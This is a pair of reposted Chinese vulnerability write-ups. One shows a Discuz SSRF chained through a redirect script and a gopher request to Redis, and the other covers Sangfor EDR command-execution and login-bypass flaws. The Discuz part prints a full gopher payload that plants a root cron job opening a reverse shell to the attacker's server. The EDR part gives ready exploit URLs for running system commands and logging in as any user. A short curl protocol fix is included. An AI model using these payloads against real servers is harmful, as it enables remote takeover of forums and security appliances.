利用@Jannock发现的Discuz中一处SSRF,即可GET SHELL。 也就是说只要你使用了Discuz论坛,那么就可以直接GET SHELL。

漏洞影响

只要有一处SSRF(此处用Discuz举例),既可能造成GET SHELL,获取服务器所有权限。

Discuz的一处SSRF

Discuz代码中存在一处远程下载图片的action

1
2
3
4
5
6
# source/module/forum/forum_ajax.php
if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {
$content = dfsockopen($imageurl);
} elseif(preg_match('/^('.preg_quote(getglobal('setting/attachurl'), '/').')/i', $imageurl)) {
$imagereplace['newimageurl'][] = $value[0];
}

如果$imageurl是http开头的,则使用dfsockopen远程访问该链接的图片。

那么就可以通过301跳转到一个内网服务上,用来探测内网信息。

构造探测图片

通过构造一个远程的伪图片,目的是为了绕过Discuz对入参的检测要求。

1
http://feei.cn/301.php  

301.php

1
2
3
4
5
6
7
<?php  
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

构造一个跳转到dict://10.11.2.220:6379/vulture.jpg的地址,如下:

1
http://feei.cn/301.php?s=dict&ip=10.11.2.220&port=6379&data=vulture.jpg  

我们让其301到一个内网ip的6379端口,然后根据整个请求完成的时间不同来判定该服务是否存在(时间在1s以内说明存在,超过超时时间的则目标服务不存在),构造链接如下

1
2
3
http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://feei.cn/301.php?s=dict%26ip=10.11.2.220%26port=6379%26data=vulture.jpg[/img]

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://feei.cn/301.php?s=dict%26ip=10.11.2.221%26port=6379%26data=vulture.jpg[/img]

上面链接请求10.11.2.220的80服务只需要100ms,10.11.2.221不存在80服务,返回使用了6s

GETSHELL

通过dict或者gopher都能操作Redis。 @猪猪侠在wooyun上公布的脚本使用的是dict协议,但经过测试并不能写入正确的cron。

我这里使用的是gopher,不需要像dict协议那样多步构造(flushall/set key/set directory/set dbfilename/save),只需要一个请求就可以GET SHELL。

1
gopher://{redis_server}:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/{your_server}/{your_server_listen_port}%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a  

只需要让我们的301.php跳到上面地址,即可写入定时任务(cron),得到反弹SHELL。

其它利用姿势

除了写cron拿到SHELL,还有还几种姿势。

修复方案

大部分请求外部资源底层都是基于curl,curl默认支持的协议比较多。

所以只需要通过配置curl禁止使用除http/https以外其它协议即可解决该问题

1
source/function/function_filesock.php  

在_dfsockopen方法内增加

1
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);  
验证修复

在一台内网服务器(10.11.2.220)上开启一个8080端口

1
python -m SimpleHTTPServer 8080  

然后访问触发SSRF的地址

1
http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://feei.cn/301.php?s=dict%26ip=10.11.2.220%26port=8080%26data=helo.jpg[/img]  

查看是否有请求的回显,没有则说明修复好了

转自https://docs.ioin.in/writeup/wufeifei.com/_ssrf_/index.html

深信服edr漏洞分析

EDR简介

终端检测响应平台(EDR)是深信服公司提供的一套终端安全解决方案,方案由轻量级的端点安全软件(Agent)和管理平台(MGR)共同组成。

漏洞复现:

远程命令执行漏洞CNVD-2020-46552

https://ip+端口/tool/log/c.php?strip_slashes=system&host=id

img

漏洞分析:

将c.php中的文件进行分析

img

$_REQUEST将传入的参数保存为数组,将前台的参数传入到$show_form

进入$show_form

img

使用了匿名函数,use调用了外部变量$strip_slashes、$show_input

extract()函数会从数组中将变量导入到当前的符号表。他会把数组变成变量,函数使用数组的键名为变量名,键值为变量值

$host是如果存在就执行$strip_slashes($host)

那么传参数的时候使用:strip_slashes=system&host=id

img

strip_slashes函数的作用是去掉&变量中的\

后台任意用户登陆漏洞

只要用户存在直接就可以登录

https://ip:xx/ui/login.php?user=任意用户名,如https://ip:xx/ui/login.php?user=admin

来源:https://blog.csdn.net/qq_32393893/article/details/108077482